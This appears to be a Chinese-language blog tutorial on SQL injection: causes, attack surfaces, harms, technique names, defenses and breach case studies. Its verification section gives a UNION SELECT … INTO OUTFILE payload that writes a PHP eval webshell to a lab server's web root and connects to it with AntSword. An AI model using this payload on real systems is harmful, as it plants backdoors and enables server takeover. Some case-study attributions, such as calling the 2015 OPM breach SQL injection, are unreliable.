SQL 注入漏洞详解

SQL 注入漏洞详解

漏洞描述

sql注入漏洞是指恶意用户在应用与数据库交互的地方利用非法的操作获取数据库内容从以下两点分析:

  • 没有对用户输入的数据进行充分的过滤和验证,导致一些用户利用此漏洞向数据库插入恶意sql语句非法请求数据库从而获得一些敏感数据
  • 在与数据库交时未对用户可控参数进行足够的过滤,便将参数内容拼接到SOL 语句中,修改原有的sql语句逻辑,从而对数据库进行非法操作。

漏洞原理

通常在与数据库交互的地方,开发人员在处理和数据库交互时,未设置充足的过滤与验证或没对用户输入的参数进行控制时,非法用户利用漏洞,打破原有的sql语句,篡改原有语句的逻辑,从而使得数据库执行被篡改的sql语句,请求非正常授权内容。严重导致数据库数据泄露,数据篡改等

漏洞场景

sql注入漏洞一般存在于与数据交互的地方,例如:

  • url参数传递
  • 表单提交
  • 搜索框
  • http头文件
    • cookie
    • User-Agent
    • Referer

漏洞评级

漏洞等级:高危

漏洞危害

SQL注入漏洞可能会导致严重的安全问题,其中包括

  • 数据库数据泄露
  • 数据库篡改
  • 拒绝服务
  • 数据库信息丢失
  • 如果数据库权限分配不当或本身就存在缺陷,那么攻击者就会通过该漏洞直接获取webshell或服务器权限

漏洞验证

联合查询时使用into outfile函数进行文件上传

回显位写入一句话木马 最后加上函数和要上传的绝对路径

sql 复制代码
http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,"<?php @eval ($_REQUEST[777]);?>",3 into outfile "C:/phpstudy_2016/www/yjh.php" --+

文件上传成功使用密码777进行连接测试phpinfo

打开蚁剑进行连接

漏洞利用

  1. 五大注入手法
  • 联合查询注入
  • 报错注入
  • 布尔盲注
  • 延时注入
  1. 其他注入
  • 宽字节注入
  • HTTP头部注入
    • cookie注入
    • User-Agent注入
    • Base64注入
    • Referer注入
  • OOB 注入

防御方案

  • 避免采用拼接的方式构造 SQL 语句,可以采用PDO预编译等技术;

  • 对进入 SQL 语句的参数进行足够过滤。

  • 部署安全设备,如 WAF。定制武器库

典型案例

2008年,Heartland Payment Systems公司遭受了一次SQL注入攻击,导致超过1300万张信用卡信息被窃取。攻击者利用了Heartland Payment Systems公司的网站上存在的SQL注入漏洞,注入了恶意代码,从而获取了信用卡信息。

2015年,美国联邦政府办公室人事管理局遭受了一次SQL注入攻击,导致超过2100万名联邦雇员的个人信息被窃取。攻击者利用了该机构网站上存在的SQL注入漏洞,注入了恶意代码,从而获取了个人信息。

2016年,菲律宾选举委员会遭受了一次SQL注入攻击,导致超过550万名选民的个人信息被窃取。攻击者利用了该机构网站上存在的SQL注入漏洞,注入了恶意代码,从而获取了选民的个人信息。

这些案例表明,SQL注入漏洞是一种非常严重的安全威胁,可以导致大量敏感数据被窃取。因此,开发人员和网站管理员需要认真对待SQL注入漏洞,采取必要的措施来防范和修复这种漏洞。

相关推荐
Flynt11 小时前
Room 3.0 包名重构 + KMP 迁移:我把项目升级踩了个遍
android·数据库·kotlin
这个DBA有点耶1 天前
NULL不是空——数据库里最反直觉的设计,90%新人踩过的坑
数据库·mysql·代码规范
这个DBA有点耶1 天前
AI写的SQL跑崩了生产库,这锅谁背?
数据库·人工智能·程序员
镜舟科技1 天前
Databricks 再提 LTAP,AI 时代的数据底座为何重回大一统叙事?
数据库·架构·agent
Databend1 天前
从湖仓升级为 Agent 时代的数据控制面,Snowflake 和 Databricks 有哪些布局
大数据·数据库·agent
ClouGence1 天前
SQL Server CDC 能放到 Always On 备库读吗?一文讲透原理与实践
数据库·sql server
先吃饱再说2 天前
存储的进化:从 MySQL 到浏览器缓存,数据到底住在哪?
数据库
Nturmoils2 天前
字段太多看不全,ksql 的展开模式和输出控制怎么用
数据库·后端
Databend2 天前
Agent 轨迹分析与归因的数据工程实践
大数据·数据库·agent
这个DBA有点耶2 天前
SQL改写进阶:标量子查询的“隐形代价”与消除实战
数据库·mysql·架构